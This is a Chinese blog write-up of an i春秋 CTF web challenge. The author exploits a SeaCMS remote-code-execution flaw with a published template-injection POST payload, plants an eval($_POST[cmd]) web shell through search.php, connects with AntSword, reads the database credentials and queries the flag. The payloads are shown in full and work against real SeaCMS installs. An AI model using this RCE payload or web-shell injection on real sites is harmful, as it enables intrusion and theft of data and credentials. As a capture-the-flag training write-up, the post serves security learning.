

i春秋CTF训练 Web Test

原创

椰奶冻不安全 于 2020-07-05 18:11:55 发布 591 收藏

分类专栏: [CTF](#) 文章标签: [sql](#)

来自 椰奶冻不安全 的博客, 复制完可要记得我吖

本文链接: https://blog.csdn.net/qq_40654505/article/details/107142533

版权



[CTF 专栏收录该内容](#)

14 篇文章 0 订阅

订阅专栏

Web Test

题目内容: 善于查资料, 你就可以拿一血了。

题目链接请在i春秋申请

根据提示直接在搜索引擎上查询海洋cms漏洞, 发现曾经有过前台getshell, 用poc试一下

```
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=a1{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[ ]=ph&9[ ]=pinfo();
```

The screenshot shows a web browser displaying a PHP version banner for PHP 5.5.9-1ubuntu4.19. Below the banner is a table of system information:

System	Linux engine-1 4.19.24-7.14.al7.x86_64 #1 SMP Tue Nov 26 15:36:47 CST 2019 x86_64
Build Date	Jul 28 2016 19:30:57
Server API	Apache 2.0 Handler
Virtual Directory Support	disabled
Configuration File (php.ini) Path	/etc/php5/apache2
Loaded Configuration File	/etc/php5/apache2/php.ini
Scan this dir for additional .ini files	/etc/php5/apache2/conf.d

Below the browser is the Max HackBar tool interface. The URL is `http://eci-2zeinawvsdxjfr63efa.cloudoci.ichunqiu.com/search.php`. The tool shows the 'Post Data' field with the following payload:

```
searchtype=5&searchword={if{searchpage:year}&year=:e{searchpage:area}}&area=v{searchpage:letter}&letter=a1{searchpage:lang}&yuyan=(join{searchpage:jq}&jq=($_P{searchpage:ver}&&ver=OST[9]))&9[ ]=ph&9[ ]=pinfo();
```

https://blog.csdn.net/qq_40654505

执行成功，可以直接上传一句话，使用蚁剑连接

url地址: `http://eci-2zeinawvsdkxjfr63efa.cloudeci.ichunqiu.com/search.php?searchtype=5&tid=&area=eval($_POST[cmd])`

连接密码: `cmd`

找了好久终于找到数据库配置文件， `/var/www/html/data/common.inc.php`

```
/var/www/html/data/common.inc.php
1 <?php
2 //数据库连接信息
3 $cfg_dbhost = '127.0.0.1';
4 $cfg_dbname = 'seacms';
5 $cfg_dbuser = 'sea_user';
6 $cfg_dbpwd = '46e06533407e';
7 $cfg_dbprefix = 'sea_';
8 $cfg_db_language = 'utf8';
9 ?>
10
```

https://blog.csdn.net/qq_40654505

鼠标右击这条shell，选择数据操作，添加上面的数据库用户名和密码连接数据库



然后在 `seacms` 库里发现flag，执行sql命令得到flag

```
SELECT * FROM `flag_140ad2e0d8cb` ORDER BY 1 DESC LIMIT 0,20;
```